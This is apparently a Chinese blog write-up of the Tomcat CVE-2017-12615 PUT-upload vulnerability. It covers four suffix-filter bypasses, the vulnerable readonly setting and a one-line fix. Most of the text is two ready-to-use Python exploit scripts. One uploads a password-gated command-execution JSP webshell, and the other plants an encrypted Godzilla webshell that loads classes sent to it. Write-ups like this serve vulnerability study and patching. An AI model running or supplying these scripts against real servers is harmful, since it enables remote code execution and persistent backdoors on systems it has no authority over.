发布于 

CVE-2017-12615(Tomcat7.0.x任意文件上传/任意代码执行)

1. 漏洞描述

CVE-2017-12615:远程代码执行漏洞

当 Tomcat 运行在 Windows 操作系统时,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false ),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。

2. 影响范围

Apache Tomcat 7.0.0 - 7.0.79 (windows环境)

3. 漏洞复现

这个漏洞是用PUT方法可以直接添加一个自己传入的页面数据,我们在用burp的时候做一下绕过。

3.1 绕过方法一

/绕过,让服务器误以为他是一个文件

image-20220925203335449

  1. PUT 请求
  2. 将自己要加入的路径后加/绕过
  3. 传入自己的jsp木马

3.2 绕过方法二

在windows下:用::$DATA绕过(Windows磁盘的特性)

image-20220925210023598

3.3 绕过方案三

在上传文件后缀名加上%20 可绕过

image-20220925210541982

3.4 绕过方案四

在上传文件后缀名加上.可绕过

image-20220925210751058

4. 漏洞分析

4.1 漏洞成因

Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>

Tomcat对文件后缀有一定检测(不能直接写jsp),但我们可以使用一些文件系统的特性(如Linux下可用/)来绕过限制。

5. POC脚本

5.1 脚本适用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import requests
import sys
import time

'''
Usage:
python CVE-2017-12615.py http://127.0.0.1

shell: http://127.0.0.1/201712615.jsp?pwd=admin&cmd=whoami


'''

def attack(url):
user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
headers={"User-Agent":user_agent}
data="""<%
if("admin".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>"""
try:
requests.put(url, headers=headers, data=data)

time.sleep(2)

verify_response = requests.get(url[:-1], headers=headers)

if verify_response.status_code == 200:
print('success!')
else :
print(verify_response.status_code)

except :
"error"

if __name__ == '__main__':
target_url = sys.argv[1] + '/201712615.jsp/'

attack(target_url)
print('shell: ' + target_url[:-1])
# python CVE-2017-12615.py (website)

5.2 哥斯拉

JSP的默认配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests
import sys
import time

'''
Usage:
python CVE-2017-12615.py http://127.0.0.1

shell: http://127.0.0.1/201712615.jsp?pwd=admin&cmd=whoami


'''

def attack(url):
user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
headers={"User-Agent":user_agent}
data="""
<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}%>
"""
try:
requests.put(url, headers=headers, data=data)

time.sleep(2)

verify_response = requests.get(url[:-1], headers=headers)

if verify_response.status_code == 200:
print('success!')
else :
print(verify_response.status_code)

except :
"error"

if __name__ == '__main__':
target_url = sys.argv[1] + '/201712615.jsp/'

attack(target_url)
print('shell: ' + target_url[:-1])
# python CVE-2017-12615.py (website)

6. 修复方案

根据业务评估配置readonlyVirtualDirContext 值为Ture 或注释参数,临时规避安全风险;